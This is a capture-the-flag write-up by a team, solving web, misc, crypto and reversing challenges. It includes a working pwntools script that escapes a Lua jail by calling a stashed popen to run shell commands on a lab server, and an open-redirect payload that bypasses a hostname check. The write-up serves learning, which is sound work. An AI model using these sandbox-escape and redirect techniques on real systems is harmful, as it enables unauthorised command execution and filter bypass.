Write-Ups by Team mm_cyb3r_s4g3

My First To do List - Web



We were given a react app



At first, I got no idea what the question, I then remember "Reacversing," it suggested that I might need to reverse engineer the React app to find the flag.

```
evaluate(e) {
    if (this.a(e))
        return !1;
    if ("E" != e[2] && "f" != e[3])
        return !1;
    if (this.b(e))
        return !1;
    if (this.d0x123(e))
        return !1;
    if (this._(e))
        return !1;
    if (this.__(e))
        return !1;
    let n = "";
    for (let t of e)
        n += String.fromCharCode(5 ^ t.charCodeAt());
    return String.fromCharCode(65, 67, 83, 123) + n + String.fromCharCode(125)
}
```

At the very bottom of one of the JavaScript files, I found a function called evaluate(). This function seemed interesting because it returned a string that included the pattern ACS{}. The string was constructed as:

return String.fromCharCode(65, 67, 83, 123) + n + String.fromCharCode(125)

The evaluate() function was responsible for returning a string that started with ACS{ and ended with }, with a dynamic portion in the middle. The function had several conditions:

```
evaluate(e) {
    if (this.a(e)) return !1;
    if ("E" != e[2] && "f" != e[3]) return !1;
    if (this.b(e)) return !1;
    if (this.d0x123(e)) return !1;
    if (this._(e)) return !1;
    if (this.__(e)) return !1;
}
```

I began debugging the function and noting which characters passed through the conditions and returned valid outputs.

I found the first 10 characters of the sequence by tracking those that passed through the conditions.

The function __(e) had obfuscated code, which seemed designed to complicate the process of understanding what was happening. After some time, I managed to extract the following

character sequence after the first 10 characters:
"B", "Z", "$", "0", "M", "1", "w", "A"

With the initial 10 characters identified, I attempted to construct the flag. Initially, I tried submitting:

w`Efs@W0LKB$0M1wA

but it was incorrect. After relaxing a bit and reflecting on the hint, I realized that "Z" was equivalent to the underscore _ in this case. I adjusted the string to

w`Efs@W0LKBZ$0ZM1wA



Lutella – Misc



After downloading the file, we were given a lua jail

The program is running init() at first and then the string we entered will be runned as lua code. Because of the usage of loadstring() However, there are some restrictons.

```
local function init()
    io.lines = nil
    io.close = nil
    io.flush = nil
    io.open = nil
    io.output = nil
    io.type = nil
    io.popen = nil
    io.input = nil
    io.tmpfile = nil
    dofile = nil
    setModuleMethodsToNil(os)
end
```

those io functions and the whole os module is set to Nil, it means we can't use those. However, there are safe_methods which is stored to retrive those functions, we can use those to exploit the program

```
local safe_method = {
    line = io.lines,
    close = io.close,
    flush = io.flush,
    open = io.open,
    output = io.output,
    type = io.type,
    popen = io.popen,
    input = io.input,
    tmpfile = io.tmpfile,
    dofile = dofile
}

debug.getregistry().safe_method = safe_method
```

Here is my final script

luajailbreak.py

```python
from pwn import *
p = remote("10.100.0.43", 9999)
#p = process('./lua prob.lua')
print(p.recvline())
p.sendline(b'''popen = debug.getregistry().safe_method.popen''')
print(p.recvline())
p.sendline(b'''handle = popen("cat ./flag") ''')
print(p.recvline())
p.sendline(b'''if handle then for line in handle:lines() do print(line) end handle:close() end''')

print(p.recvline())
for i in range(10):
    print(p.recvline())
```

Then this is flag =>

```
└─$ python3 luajailbreak.py
[+] Opening connection to 10.100.0.43 on port 9999: Done
b'Welcome to Lua Jail! Try to escape.\r\n'
b'lua> popen = debug.getregistry().safe_method.popen\r\n'
b'lua> handle = popen("cat ./flag") \r\n'
b'lua> if handle then for line in handle:lines() do print(line) end handle:close() end\r\n'
b'ACS{Toast_and_chocolate_are_a_fantastic_combination}\r\n'
```

Can you REDIRECT me ? - Web

In this challenge, there are 2 conditions we must satisfy in order to get the request, the url.hostname we sent to bot must be www.google.com, however,

```
27    var url = new URL(req.query.url);
28    if(url.hostname ≠ "www.google.com"){
29        res.status(400);
30        res.send("I ONLY trust GOOGLE");
31        return
32    }
```

The final url must not be www.google.com

```
54    if(new URL(final_url).hostname ≠ "www.google.com"){
55        res.status(200);
56        res.send("<script>alert('FLAG{**REDACTED**}');history.back()</script>")
57        return
58    }else{
```

So I tried this payload =>

https://www.google.com/url?q=https://youtube.com and got the flag.

Drone Hijacking – Misc

We were given a pcap file, I search around the google and I found out that this is RTP payload type, so I filtered it.



And tried to extract it using wireshark





And then I opened it and got the flag

Secret Encrypt – Crypto

This is final script

```

from sympy import mod_inverse

from Crypto.Util.number import long_to_bytes


# Given values

n = 
20009817089569599969538500034726137113860180378444144520680720380692155921700313466801113645321964859714346152831289324522691712373980295752612143787805513744596845142947565574859214431250136840018060927071875139532338460212335213420284901918516101557291315678272762415979902727124588156079493807073200546288791822792848832017274870268954552045671250363562973791606622534055827461929215079320844719649763363790174187688772315493266741429035524622360771778
```

440373223376538841132309443185544689042777961272750771961543593939485821891565606131014252998323377195929017277858653731215520050540508092547990011606519190412 73

enc = 1734429078816301544256403813924733424606064299602044685090485232203956029011876605639217289582095173537499735458270932551874470234790102484038576945993799781901795491436713573303223404216095080972718736640393210098046765554227992805846443522475990031568351970607345587846519184128696525561796837221373773194267858735935408508203957740039033669008588302733953932262546274942542479887686055914166810340719966508235282596206158037306615084393542100805278227009649572340007139070097928196130353100156291039992955175342362555331825021132134744543408012816411849992599833065179292593687671113240946064363048426043331761750 5

secret_out=[230042188645681635133303865769026515170836044386713068695324844863053109302177673486867411224009541846709308175633593051584352538312873853420209634837756038617357062344134152039502491849349172474921317810200915101321873577714794124287300922618162690346155877774836307024245809713440225416497941631996639500 6,
118964893465008760906148513803880740427426131597706706568706005798920125121985562712819885692864935956027782962836691988567169040365350150416055346960755633472875717465898683139277419122088292007600766276511481224635277838009319684482964767210192366303533764466354302709679013042872343430366540326193987064645,
908229090548200194958489812907798305974246331502540733154069741064383883200120990624995104769867465194319154690916800344564007335131955612502938140321586845720162783968106869584742052999871433306508900608833721705778233009040235298587828194077372405761176091365146449660879477305639054466201369041946436981 98]

Secret modulus

secret2 = 2**1024

Recover LCG parameters (a, c, m)

def recover_lcg_parameters(out1, out2, out3, m):

"""

Recover LCG parameters (a, c) given three outputs and modulus.

```
    """
    a = ((out2 - out3) * mod_inverse(out1 - out2, m)) % m
    c = (out2 - a * out1) % m
    return a, c

# Use the first three outputs to recover parameters
out1, out2, out3 = secret_out[:3]
a, c = recover_lcg_parameters(out1, out2, out3, secret2)

# Backtrack to find the initial value (X_0)
X0 = (out1 - c) * mod_inverse(a, secret2) % secret2

# Check if X0 (p) is a factor of n
if X0 != 0 and n % X0 == 0:
    p = X0
    q = n // p

    # Compute totient (phi)
    phi = (p - 1) * (q - 1)

    # Compute private key d
    d = mod_inverse(e, phi)

    # Decrypt the ciphertext
    message_int = pow(enc, d, n)

    # Convert decrypted integer to bytes to retrieve the flag
```

```
    flag = long_to_bytes(message_int).decode()
    print(f"Recovered flag: {flag}")
else:
    print("Failed to recover a valid p using LCG parameters.")
```

CS1338: Script Programming – Reversing

I decompiled the Library file in this website => https://luadec.metaworm.site/



I tried to retrive the key using this lua script



```
getkey.lua ●
home > kali > Downloads > luascript > key > getkey.lua
1  local function find_key()
2      local r1_1 = "!@#"
3      local r2_1 = "q\xf2\xbcf\xb3\xae:p\x95%\xf1\xd4v\xb3\x9a\xb6\xa3\xb0\xaf9\xaet"
4      local key = ""
5      local r4_1 = 1
6
7      for i = 1, #r2_1 do
8          local r11_1 = r2_1:byte(i)
9          local r1_byte = r1_1:byte((i - 1) % #r1_1 + 1)
10         local r0_byte = (r11_1 - r1_byte * r4_1) % 256
11         key = key .. string.char(r0_byte)
12         r4_1 = (r4_1 + r11_1) % 16
13     end
14
15     return key
16 end
17
18 local key = find_key()
19 print("Key:", key)
```

After running the script, we got the key XD

```
┌──(kali㉿kali)-[~/Downloads/luascript/key]
└─$ lua getkey.lua
Key:    Pr0f3sS0r_10v3_Sc41pt1ng
```

Use the key to obtain the flag

```
┌──(kali㉿kali)-[~/Downloads/luascript/key]
└─$ nc 10.100.0.43 1338
Do you want a flag? Give me the key : Pr0f3sS0r_10v3_Sc41pt1ng
Pr0f3sS0r_10v3_Sc41pt1ng
ACS{feeea13a932b23ca408ed3cbf01e723e3726343a53bd67776caf9601cd20d637}
```

I used an online decomplier to decompile the server.exe and client.exe and I found the same key that they used for communication.

SecureChat - Reversing

Hex-Rays

8.4.0.240320

```
120  int register_frame_ctor();
121
122  //-------------------------------------------------------
123  // Data declarations
124
125  func_ptr __CTOR_LIST__[] = { (func_ptr)0xFFFFFFFF };
126  int (__cdecl *_data_start__)(_DWORD) = NULL; // weak
127  char kek[16] =
128  {
129    '\x12',
130    '\x9F',
131    '\xE8',
132    '1',
133    'R',
134    '\xB2',
135    '\x9A',
136    '\x1D',
137    '\xA9',
138    '\xB0',
139    '\r',
140    'B',
141    '\xD6',
142    '<',
143    'w',
144    '\x1E'
145  }; // weak
146  int _CRT_glob = 2; // weak
147  fenv_t *_CRT_fenv = (fenv_t *)0xFFFFFFFD; // idb
148  int _fmode = 16384;
149  int (*off_404020)[40] = &dword_403F60; // weak
150  int dword_404024 = -1; // weak
151  int __JCR_END__ = 0; // weak
152  int (__stdcall *__dyn_tls_init_callback)(int a1, int
153  const char Locale[2] = { '\0', '\0' }; // idb
154  const wchar_t Source[] = L"."; // idb
```

Kek = 129FE83152B29A1DA9B00D42D63C771E

I also found keygen function, which generate 16-character key randomly

```
//----- (00401460) --------------------------------------------------------
int __fastcall keygen(int a1, int a2)
{
  int i; // ebx

  for ( i = 0; i != 16; byte_40801F[i] = rand() % 255 + 10 )
    ++i;
  return a2;
}

//----- (00401487)
```

In main function , this key is XORed with the key we found in decomplier and use it to encrypt the message.

```
//----- (00401487) --------------------------------------------------------
char __cdecl msg_encrypt(int a1, int a2)
{
  int i; // ecx
  char result; // al

  for ( i = 0; i < a2; ++i )
  {
    result = key[i % 16];
    *(_BYTE *)(a1 + i) ^= result;
  }
  return result;
}
```

I found this shared key in pcap file provided, each byte of the key in one packet.



Share key = 8c0952afa58452c55eb837e078ff8a2b

In this step, I XORed Kek and Share key to get final key

Final key = 9e96ba9ef736c8def7083aa2aec3fd35

I used the final key to retrive the original message using cyberchef


Recipe
From Hex
Delimiter
Auto
XOR
Key
9e96ba9ef73...
HEX
Scheme
Standard
Null preserving
To Hex
Delimiter
Space
Bytes per line
0
Input
d9e4dfff831ae8ac9f6954c9ddeddd74f2e4d3f99f42e4f883605f82c0a68a15eef7c9ed8059babcd76e55d08eb79550bee0dbeb9b42e8b1
842818e3ed908671aec9f4f1a369bd8bc4576292dc9c9b05ccc9dfd0946491a8c03955ccf1f7b172aee48bca9f7bb5fad92870d7ddb7dd58
fffddfbe8443babdd77155d78eb68d51ffe2dfbe8e59bdaad77a5fc1c1b19946bef7d4fad752a7b656a74e82ddab9c47fbb6d3ead741a1ac
9f285bccd7ac9350bef3d6ed9216a7ad837b53c6cbe3895dfbb6cefb965be6
398
1
Raw Bytes
LF (detected)
Output
Great, rhanks. Alright,&the new passworb for the vault os ~ACS{D0_NoT_uU3_X0r_f0R_eNcRYv71on_4LG0r1ThM}$. Just
make surc you update yout records and doh¡˙t share it wirh anyone else ostside the team.